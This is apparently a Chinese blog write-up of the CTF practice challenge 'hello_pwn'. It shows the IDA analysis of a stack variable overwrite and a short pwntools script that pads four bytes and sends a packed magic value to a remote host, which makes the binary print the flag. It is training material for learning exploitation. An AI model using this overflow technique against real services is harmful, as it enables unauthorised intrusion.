
下载文件后,首先检查保护:

将文件拖入64位ida,查看代码

基本逻辑是:读取一个输入,存入unk_601068,接着比较dword_60106C是否等于一个预期的值,如果相等,执行对应函数,函数内直接执行cat flag.txt

所以思路就是需要覆盖dword_60106C,让其等于预期值,此时我们需要在输入unk_601068时,对dword_60106C进行覆盖,接着我们查看这两个值的存放位置。

发现这两个值之间相隔4个字节,所以需要4个字节的填充数据,接着输入预期值。开始编写脚本

from pwn import *
# io = process("./hello_pwn")
io = remote("111.200.241.244",65258)
io.recvuntil("lets get helloworld for bof")
#unk_601068与dword_60106C之间有4字节的空间,所以使用4个A填充
#随后使用预期数据1853186401覆盖dword_60106C
payload = b'A' * 4 + p64(1853186401)
io.sendline(payload)
io.interactive()
发送脚本:

该博客主要介绍了CTF挑战攻防世界中的pwn-hello_pwn问题。作者通过使用64位IDA分析代码,揭示了挑战的基本逻辑——读取用户输入并比较特定内存地址的值。成功的关键在于覆盖内存中的dword_60106C,使其等于预期值,从而触发执行cat flag.txt。博客详细描述了如何找到填充数据长度和构造输入脚本的过程。

2790

被折叠的 条评论
为什么被折叠?



